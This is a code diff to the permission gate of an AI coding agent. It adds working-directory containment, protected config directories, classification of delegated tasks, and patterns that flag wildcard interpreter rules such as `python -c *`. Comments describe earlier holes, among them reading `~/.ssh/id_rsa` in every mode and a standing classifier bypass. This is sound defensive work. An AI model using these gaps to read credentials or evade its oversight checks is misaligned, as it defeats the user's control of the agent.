+ * forms), a URL (Claude Code's `domain:` form), or plain text (a glob).
360
+ */
361
+ export type SubjectKind = "command" | "path" | "url" | "text";
362
+
363
+ export function subjectKind(toolName: string): SubjectKind {
364
+ const name = normalizeToolName(toolName);
365
+ if (name === "bash" || name === "monitor") return "command";
366
+ if (name === "web_fetch") return "url";
367
+ if (isPathSubjectTool(name)) return "path";
368
+ return "text";
369
+ }
370
+
371
+ /** A tool call's arguments as one line, for a prompt that would otherwise read "(no arguments)". */
372
+ function compactArguments(input: Record<string, unknown>): string {
373
+ if (Object.keys(input).length === 0) return "";
374
+ try {
375
+ return JSON.stringify(input);
376
+ } catch {
377
+ return "";
378
+ }
379
+ }
380
+
381
+ /**
382
+ * The argument a rule pattern applies to — and the thing the user is shown in
383
+ * an approval prompt — per tool. Until 2026-09-05 everything but bash fell
384
+ * back to a `path` argument, so a `web_fetch`, `monitor` or `enter_worktree`
385
+ * prompt read "(no arguments)" and the user approved blind
386
+ * (PERMISSIONS-REVIEW-2026-09-05 M5). A tool with none of the named fields
387
+ * shows its arguments compactly (MCP tools in particular).
388
+ */
155
389
  export function extractSubject(toolName: string, input: Record<string, unknown>): string {
156
- if (toolName === "bash") return typeof input.command === "string" ? input.command : "";
157
- const path = input.path ?? input.file_path;
158
- return typeof path === "string" ? path : "";
390
+ const name = normalizeToolName(toolName);
391
+ const str = (key: string): string | undefined => (typeof input[key] === "string" ? (input[key] as string) : undefined);
392
+ switch (name) {
393
+ case "bash":
394
+ case "monitor":
395
+ return str("command") ?? "";
396
+ case "web_fetch":
397
+ return str("url") ?? "";
398
+ case "web_search":
399
+ return str("query") ?? "";
400
+ case "enter_worktree":
401
+ return str("name") ?? str("path") ?? "";
402
+ case "read_mcp_resource":
403
+ case "read_mcp_resource_dir":
404
+ return str("uri") ?? "";
405
+ }
406
+ if (isPathSubjectTool(name)) return pathArgument(input) ?? "";
407
+ return pathArgument(input) ?? compactArguments(input);
408
+ }
409
+
410
+ /** The lowercased host of a URL, or undefined when it does not parse (a bare `example.com/x` is tried as https). */
411
+ export function urlHost(url: string): string | undefined {
412
+ for (const candidate of [url, `https://${url}`]) {
413
+ try {
414
+ const host = new URL(candidate).hostname.toLowerCase();
415
+ if (host) return host;
416
+ } catch {
417
+ // try the next spelling
418
+ }
419
+ }
420
+ return undefined;
421
+ }
422
+
423
+ /**
424
+ * URL rule match: Claude Code's `WebFetch(domain:example.com)` form compares
425
+ * the URL's host exactly; any other pattern is a glob over the whole URL.
426
+ */
427
+ function matchesUrlPattern(pattern: string, url: string): boolean {
428
+ const domain = pattern.match(/^domain:(.+)$/)?.[1]?.trim().toLowerCase();
429
+ if (domain) return urlHost(url) === domain;
430
+ return globToRegex(pattern, false).test(url);
159
431
  }
160
432
 
161
433
  /**
@@ -164,14 +436,19 @@ export function extractSubject(toolName: string, input: Record<string, unknown>)
164
436
  * arrives case-folded from `resolveForContainment`, and without folding that
165
437
  * branch of the check could never match on macOS.
166
438
  */
167
- /** Expand a leading `~/`, resolve against cwd, and case-fold — the same shape
168
- * `resolveForContainment` folds its output to, so a subject compared here matches. */
439
+ /**
440
+ * Expand a leading `~/`, resolve against cwd, and case-fold where the
441
+ * filesystem does (darwin/win32) — the same shape `resolveForContainment`
442
+ * folds its output to, so a subject compared here matches. Linux stays
443
+ * case-sensitive: folding there would make `/home/u/PROJECT` read as inside
444
+ * `/home/u/project`.
445
+ */
169
446
  function toAbsoluteFolded(p: string, cwd: string): string {
170
- const expanded = p.startsWith("~/") ? `${homedir()}/${p.slice(2)}` : p;
171
- return resolve(cwd, expanded).toLowerCase();
447
+ const absolute = resolve(cwd, expandTilde(p, homedir()));
448
+ return process.platform === "linux" ? absolute : absolute.toLowerCase();
172
449
  }
173
450
 
174
- export function isPlanFilePath(candidate: string, planFilePath: string, cwd: string): boolean {
451
+ function isPlanFilePath(candidate: string, planFilePath: string, cwd: string): boolean {
175
452
  return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(planFilePath, cwd);
176
453
  }
177
454
 
@@ -186,12 +463,45 @@ export function isInsideDir(candidate: string, dir: string, cwd: string): boolea
186
463
  return toAbsoluteFolded(candidate, cwd).startsWith(toAbsoluteFolded(dir, cwd) + sep);
187
464
  }
188
465
 
466
+ /** `isInsideDir`, plus the directory itself (`ls <cwd>` lists the working directory). */
467
+ export function isAtOrInsideDir(candidate: string, dir: string, cwd: string): boolean {
468
+ return toAbsoluteFolded(candidate, cwd) === toAbsoluteFolded(dir, cwd) || isInsideDir(candidate, dir, cwd);
469
+ }
470
+
471
+ /**
472
+ * Whether one rule matches a call. For bash this is the deny/ask ("any
473
+ * subcommand") semantics — allow rules go through {@link findBashAllowRule}.
474
+ */
189
475
  export function ruleMatches(rule: PermissionRule, toolName: string, subject: string, cwd: string): boolean {
190
- if (rule.tool !== normalizeToolName(toolName)) return false;
476
+ if (!ruleCoversTool(rule.tool, toolName)) return false;
191
477
  if (!rule.pattern) return true;
192
478
  if (!subject) return false;
193
- if (rule.tool === "bash") return matchesBashPattern(rule.pattern, subject);
194
- return matchesPathPattern(rule.pattern, subject, cwd);
479
+ switch (subjectKind(toolName)) {
480
+ case "command":
481
+ return bashPatternMatchesAny(rule.pattern, subject);
482
+ case "path":
483
+ return matchesPathPattern(rule.pattern, subject, cwd);
484
+ case "url":
485
+ return matchesUrlPattern(rule.pattern, subject);
486
+ case "text":
487
+ return globToRegex(rule.pattern, false).test(subject);
488
+ }
489
+ }
490
+
491
+ /**
492
+ * Whether a rule's tool covers a call's tool: the same name, or Claude Code's
493
+ * server-wide MCP form — `mcp__github` covers every `mcp__github__*` tool, and
494
+ * `mcp__plugin:x:server` the plugin-namespaced form. A rule naming a specific
495
+ * tool (`mcp__github__delete_repo`, two `__` groups) stays exact. Until
496
+ * 2026-09-05 the server-wide spelling, the natural way to keep an agent off a
497
+ * server, matched nothing (PERMISSIONS-REVIEW-2026-09-05 M3).
498
+ */
499
+ export function ruleCoversTool(ruleTool: string, toolName: string): boolean {
500
+ const tool = normalizeToolName(toolName);
501
+ if (ruleTool === tool) return true;
502
+ if (!ruleTool.startsWith("mcp__")) return false;
503
+ const server = ruleTool.slice("mcp__".length);
504
+ return server.length > 0 && !server.includes("__") && tool.startsWith(`${ruleTool}__`);
195
505
  }
196
506
 
197
507
  /** Risk tier drives the unmatched-rule default. */
@@ -208,6 +518,18 @@ export function toolTier(toolName: string): ToolTier {
208
518
  return "custom";
209
519
  }
210
520
 
521
+ /**
522
+ * Whether a tool's subject is a filesystem path whose RESOLVED form the gate
523
+ * judges (protected paths, working-directory containment): the writing tools
524
+ * and the read tier. A bash subject is a command line; a custom tool's is
525
+ * whatever pathArgument found, not necessarily a path. Callers pass
526
+ * `resolveForContainment(toAbsolute(...))` as `resolvedSubject` for these only.
527
+ */
528
+ export function isPathSubjectTool(toolName: string): boolean {
529
+ const name = normalizeToolName(toolName);
530
+ return isWritingTool(name) || toolTier(name) === "safe";
531
+ }
532
+
211
533
  /**
212
534
  * Tools that never need approval: they change no state outside the session and
213
535
  * touch no network or filesystem the user hasn't already opted into.
@@ -217,7 +539,6 @@ export function toolTier(toolName: string): ToolTier {
217
539
  * since a blocked loader means the model can never reach the tools behind it.
218
540
  */
219
541
  export const AUTO_ALLOWED_TOOLS = new Set<string>([
220
- "todo_write",
221
542
  "ask_user_question",
222
543
  "ask_user",
223
544
  // Loads tool schemas and packaged instructions; no side effects.
@@ -226,10 +547,10 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
226
547
  // Read-only inspection.
227
548
  "lsp_diagnostics",
228
549
  "list_mcp_resources",
550
+ "list_agents",
229
551
  // Subagent orchestration is safe to launch; each child enforces its own
230
- // tool permissions (inheriting this session's mode via env).
231
- "subagent",
232
- "subagent_wait",
552
+ // tool permissions via the in-process permission gate.
553
+ "Agent",
233
554
  // Same reasoning for workflow: the script itself cannot touch the
234
555
  // filesystem, network, or shell — only spawn agents, and every one of those
235
556
  // runs behind the workflow permission gate.
@@ -237,7 +558,7 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
237
558
  // Plan-mode transitions must work inside plan mode itself.
238
559
  "enter_plan_mode",
239
560
  "exit_plan_mode",
240
- // Session-state bookkeeping, like todo_write.
561
+ // Session-state bookkeeping.
241
562
  "task_create",
242
563
  "task_get",
243
564
  "task_list",
@@ -247,10 +568,10 @@ export const AUTO_ALLOWED_TOOLS = new Set<string>([
247
568
  "task_stop",
248
569
  // A timer that replays a prompt; no side effects outside the session.
249
570
  "schedule_wakeup",
250
- // Resumes a subagent — same reasoning as subagent: the child enforces its
571
+ // Resumes/messages an agent — same reasoning as Agent: the child enforces its
251
572
  // own tool permissions. (monitor and enter/exit_worktree stay gated: they
252
573
  // run arbitrary shell commands / mutate the filesystem.)
253
- "send_message",
574
+ "SendMessage",
254
575
  ]);
255
576
 
256
577
  export interface DecideInput {
@@ -289,6 +610,33 @@ export interface DecideInput {
289
610
  * the memory dir.
290
611
  */
291
612
  scratchpadDirPath?: string;
613
+ /**
614
+ * The working directory's own resolved form (`resolveForContainment(cwd)`),
615
+ * when the caller could resolve it. A resolved subject is compared against
616
+ * it as well as the literal cwd: on macOS a project under `/var/folders`
617
+ * resolves to `/private/var/folders`, and without this every in-project
618
+ * path read as outside the working directory. Kept an input so this module
619
+ * stays pure.
620
+ */
621
+ resolvedCwd?: string;
622
+ /**
623
+ * Where the session persists oversized tool outputs (`lib/persisted-output.ts
624
+ * sessionResultsDir`). Readable like the working directory: the model is
625
+ * told to read those files back.
626
+ */
627
+ resultsDirPath?: string;
628
+ /**
629
+ * Directories protected at runtime, beyond the static list in
630
+ * protected-paths.ts (see `runtimeProtectedDirs()`, the sole producer): pi's
631
+ * own agent directory (`getAgentDir()` — `~/.pi/agent` for stock pi,
632
+ * `~/.onecode/agent` bundled), Claude Code's config dir (`claudeConfigDir()`)
633
+ * and One Code's state dir (`oneCodeStateDir()`). The last two catch a
634
+ * relocated `CLAUDE_CONFIG_DIR` / `ONECODE_STATE_DIR`, which the static
635
+ * segment list cannot (distribution review 2026-09-09, L2). Absolute paths; a
636
+ * write landing inside one is judged like a protected path
637
+ * (PERMISSIONS-REVIEW-2026-09-05 M7).
638
+ */
639
+ protectedDirs?: string[];
292
640
  }
293
641
 
294
642
  export interface Decision {
@@ -296,18 +644,39 @@ export interface Decision {
296
644
  /** Rule that determined the outcome, when one did. */
297
645
  rule?: PermissionRule;
298
646
  /** Why, for deny/ask decisions surfaced to the model or user. */
299
- cause: "rule" | "plan-mode" | "plan-file" | "memory-dir" | "scratchpad-dir" | "mode" | "tier" | "protected-path";
647
+ cause:
648
+ | "rule"
649
+ | "plan-mode"
650
+ | "plan-file"
651
+ | "plan-readonly"
652
+ | "memory-dir"
653
+ | "scratchpad-dir"
654
+ | "mode"
655
+ | "tier"
656
+ | "protected-path"
657
+ /** A read, or an acceptEdits write, whose path is outside the working directory. */
658
+ | "working-dir";
300
659
  }
301
660
 
661
+ /**
662
+ * Custom-tier tools that only read (the network or MCP resources) and so stay
663
+ * available in plan mode, as WebFetch/WebSearch do in Claude Code. Everything
664
+ * else custom is treated as a mutation there.
665
+ */
666
+ const PLAN_READ_ONLY_TOOLS = new Set(["web_fetch", "web_search", "list_mcp_resources", "read_mcp_resource", "read_mcp_resource_dir"]);
667
+
302
668
  /**
303
669
  * Tools that launch a fresh agent loop. In auto mode these are classified
304
670
  * rather than auto-allowed, so the delegated task is judged before the child
305
671
  * starts — a child cannot be trusted to refuse a task its parent should not have
306
672
  * handed it, and Claude Code evaluates the task description at spawn time for
307
673
  * the same reason. Outside auto mode they stay auto-allowed: each child enforces
308
- * its own permissions by inheriting the mode.
674
+ * its own permissions by inheriting the mode. `SendMessage` is a delegation
675
+ * too: a new task handed to a resident agent after its spawn was judged is a
676
+ * new delegation, and until 2026-09-05 it was never classified
677
+ * (PERMISSIONS-REVIEW-2026-09-05 L4).
309
678
  */
310
- const DELEGATION_TOOLS = new Set(["subagent", "workflow"]);
679
+ const DELEGATION_TOOLS = new Set(["Agent", "workflow", "SendMessage"]);
311
680
 
312
681
  /**
313
682
  * Interpreters and runners whose arguments are code, so a wildcarded rule over
@@ -330,7 +699,7 @@ const INTERPRETERS_AND_RUNNERS =
330
699
  export function isBroadExecutionRule(rule: PermissionRule): boolean {
331
700
  // Delegation rules are dropped outright: a subagent is a fresh agent loop, so
332
701
  // pre-approving one pre-approves whatever that loop decides to do.
333
- if (rule.tool === "subagent" || rule.tool === "workflow") return true;
702
+ if (DELEGATION_TOOLS.has(rule.tool)) return true;
334
703
  if (rule.tool !== "bash") return false;
335
704
 
336
705
  if (!rule.pattern) return true;
@@ -338,7 +707,7 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
338
707
  // Without a wildcard the rule matches one exact command, which is narrow by
339
708
  // construction however powerful that command is — `Bash(python)` only ever
340
709
  // starts a bare REPL.
341
- if (!pattern.includes("*")) return false;
710
+ if (!hasUnescapedWildcard(pattern)) return false;
342
711
  if (/^(\*|:\*|\*\*)$/.test(pattern)) return true;
343
712
 
344
713
  const head = pattern.split(/[\s*]/)[0] ?? "";
@@ -350,10 +719,12 @@ export function isBroadExecutionRule(rule: PermissionRule): boolean {
350
719
  // The runner's own escape hatch takes arbitrary code: `npm run *`, `npx *`.
351
720
  if (/^(run|exec|x)[:\s]*\*+$/.test(rest)) return true;
352
721
  // Interpreter inline-code flags take arbitrary code: `python -c *`, `node -e *`,
353
- // `sh -c *`, `bash -c *`, `ruby -e *`. Without this, such a rule granted a
354
- // standing bypass of the classifier (over-flagging a runner's `-c` here only
355
- // costs a classifier call, which is the safe direction).
356
- if (/^-(c|e)[:\s=]*\*+$/.test(rest)) return true;
722
+ // `sh -c *`, `bash -c *`, `ruby -e *`. Quote-wrapped spellings count too —
723
+ // `python3 -c '*` / `-c ' *` (as real settings write them) hand over exactly
724
+ // the same arbitrary code slot. Without this, such a rule granted a standing
725
+ // bypass of the classifier (over-flagging a runner's `-c` here only costs a
726
+ // classifier call, which is the safe direction).
727
+ if (/^-(c|e)[\s:='"]*\*+['"]*$/.test(rest)) return true;
357
728
  // `npm test:*` names the script, so it stays narrow.
358
729
  return false;
359
730
  }
@@ -374,8 +745,9 @@ export function decide(params: DecideInput): Decision {
374
745
  if (mode === "bypassPermissions") return { decision: "allow", cause: "mode" };
375
746
 
376
747
  const tier = toolTier(toolName);
748
+ const tool = normalizeToolName(toolName);
377
749
  if (mode === "plan" && tier !== "safe" && !AUTO_ALLOWED_TOOLS.has(normalizeToolName(toolName))) {
378
- // Plan mode's one writable file (~/.one-code/plans/<slug>.md, which
750
+ // Plan mode's one writable file (~/.onecode/plans/<slug>.md, which
379
751
  // protected-paths already excepts as working space).
380
752
  const planFile = params.planFilePath;
381
753
  if (planFile && isWritingTool(normalizeToolName(toolName)) && subject) {
@@ -384,6 +756,21 @@ export function decide(params: DecideInput): Decision {
384
756
  (params.resolvedSubject ? isPlanFilePath(params.resolvedSubject, planFile, cwd) : false);
385
757
  if (planTarget) return { decision: "allow", cause: "plan-file" };
386
758
  }
759
+ // Read-only bash stays usable while planning (Claude Code permits it). The
760
+ // auto-mode shell pre-gate's "safe" verdict means "every command is on the
761
+ // read-only allowlist, nothing leaves the project" — plus in-project
762
+ // redirect writes, which it records; a safe verdict with no writes is
763
+ // exactly read-only. Anything it cannot vouch for is denied as before.
764
+ // Without this the frontier tier (no grep/find/ls) was left with `read` alone.
765
+ if (tool === "bash" && subject) {
766
+ const evidence = analyzeShellCommand({ command: subject, cwd, home: homedir(), protectedDirs: params.protectedDirs });
767
+ if (evidence.verdict === "safe" && evidence.writes.length === 0) return { decision: "allow", cause: "plan-readonly" };
768
+ // Read-only, but of a path outside the working directory: still a read,
769
+ // so it is put to the user rather than refused as a plan-mode mutation
770
+ // (the read tools ask for the same path below).
771
+ if (evidence.readOnlyOutside && evidence.writes.length === 0) return { decision: "ask", cause: "working-dir" };
772
+ }
773
+ if (PLAN_READ_ONLY_TOOLS.has(tool)) return { decision: "allow", cause: "plan-readonly" };
387
774
  return { decision: "deny", cause: "plan-mode" };
388
775
  }
389
776
 
@@ -413,14 +800,21 @@ export function decide(params: DecideInput): Decision {
413
800
  ]) {
414
801
  if (dir && isInsideDir(target, dir, cwd)) return { decision: "allow", cause };
415
802
  }
803
+ // The plan file lives under the state dir (`~/.onecode/plans`), which the
804
+ // runtime protects; clear it here, before the protected check, since it is
805
+ // harness working space the model is told to write (review L2).
806
+ if (params.planFilePath && isPlanFilePath(target, params.planFilePath, cwd)) return { decision: "allow", cause: "plan-file" };
416
807
  }
417
808
 
418
809
  // Protected-path writes are checked *before* allow rules, so an
419
810
  // `Edit(.claude/**)` entry cannot pre-approve reconfiguring the agent's own
420
811
  // permissions or planting a git hook. In auto mode they go to the classifier.
421
- const tool = normalizeToolName(toolName);
422
812
  const protectedTarget = () =>
423
- isProtectedPath(subject, cwd) || (params.resolvedSubject ? isProtectedPath(params.resolvedSubject, cwd) : false);
813
+ [subject, params.resolvedSubject].some(
814
+ (candidate) =>
815
+ candidate &&
816
+ (isProtectedPath(candidate, cwd) || (params.protectedDirs ?? []).some((dir) => isInsideDir(candidate, dir, cwd))),
817
+ );
424
818
  if (isWritingTool(tool) && subject && protectedTarget()) {
425
819
  if (mode === "dontAsk") return { decision: "deny", cause: "protected-path" };
426
820
  if (mode === "auto") return { decision: "classify", cause: "protected-path" };
@@ -435,17 +829,54 @@ export function decide(params: DecideInput): Decision {
435
829
  return true;
436
830
  })
437
831
  : allow;
438
- const allowRule = usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
832
+ // Command allow rules (bash, monitor) must cover EVERY subcommand of a
833
+ // compound line (CC semantics); a deny/ask rule above fired on ANY subcommand.
834
+ const allowRule =
835
+ subjectKind(tool) === "command"
836
+ ? subject
837
+ ? findBashAllowRule(usableAllow, subject, tool)
838
+ : undefined
839
+ : usableAllow.find((r) => ruleMatches(r, toolName, subject, cwd));
439
840
  if (allowRule) return { decision: "allow", rule: allowRule, cause: "rule" };
440
841
 
441
842
  if (mode === "auto" && DELEGATION_TOOLS.has(tool)) {
442
843
  return { decision: "classify", cause: "mode" };
443
844
  }
444
845
 
445
- if (tier === "safe" || AUTO_ALLOWED_TOOLS.has(tool)) {
446
- return { decision: "allow", cause: "tier" };
846
+ /**
847
+ * Working-directory containment — Claude Code's `pathInAllowedWorkingPath`
848
+ * (filesystem.ts): the read tier is allowed inside the working directory and
849
+ * asks outside it, and acceptEdits approves edits inside it only. The
850
+ * harness's own session dirs (auto-memory, scratchpad, persisted tool
851
+ * results, the plan file) count as inside — the system prompt tells the
852
+ * model to read and write there. The resolved subject is judged where the
853
+ * caller resolved one, so a symlink inside the project that points out of
854
+ * it is outside. Until 2026-09-05 neither check existed: `read ~/.ssh/id_rsa`
855
+ * was allowed in every mode including auto and plan, and acceptEdits wrote
856
+ * anywhere on disk (PERMISSIONS-REVIEW-2026-09-05 H1, H2).
857
+ */
858
+ const inWorkingSpace = (): boolean => {
859
+ const target = params.resolvedSubject ?? subject;
860
+ const roots = [cwd, params.resolvedCwd, params.memoryDirPath, params.scratchpadDirPath, params.resultsDirPath];
861
+ if (roots.some((dir) => dir && isAtOrInsideDir(target, dir, cwd))) return true;
862
+ return params.planFilePath ? isPlanFilePath(target, params.planFilePath, cwd) : false;
863
+ };
864
+ const outsideWorkingDir = (): Decision => {
865
+ if (mode === "auto") return { decision: "classify", cause: "working-dir" };
866
+ if (mode === "dontAsk") return { decision: "deny", cause: "working-dir" };
867
+ return { decision: "ask", cause: "working-dir" };
868
+ };
869
+
870
+ if (tier === "safe") {
871
+ // No path argument (grep/find/ls default to the cwd) is an in-project read.
872
+ if (!subject || inWorkingSpace()) return { decision: "allow", cause: "tier" };
873
+ return outsideWorkingDir();
874
+ }
875
+ if (AUTO_ALLOWED_TOOLS.has(tool)) return { decision: "allow", cause: "tier" };
876
+ if (tier === "edit" && mode === "acceptEdits") {
877
+ if (subject && inWorkingSpace()) return { decision: "allow", cause: "mode" };
878
+ return outsideWorkingDir();
447
879
  }
448
- if (tier === "edit" && mode === "acceptEdits") return { decision: "allow", cause: "mode" };
449
880
 
450
881
  // Everything left over goes to the classifier in auto mode, and to the user
451
882
  // in every other mode.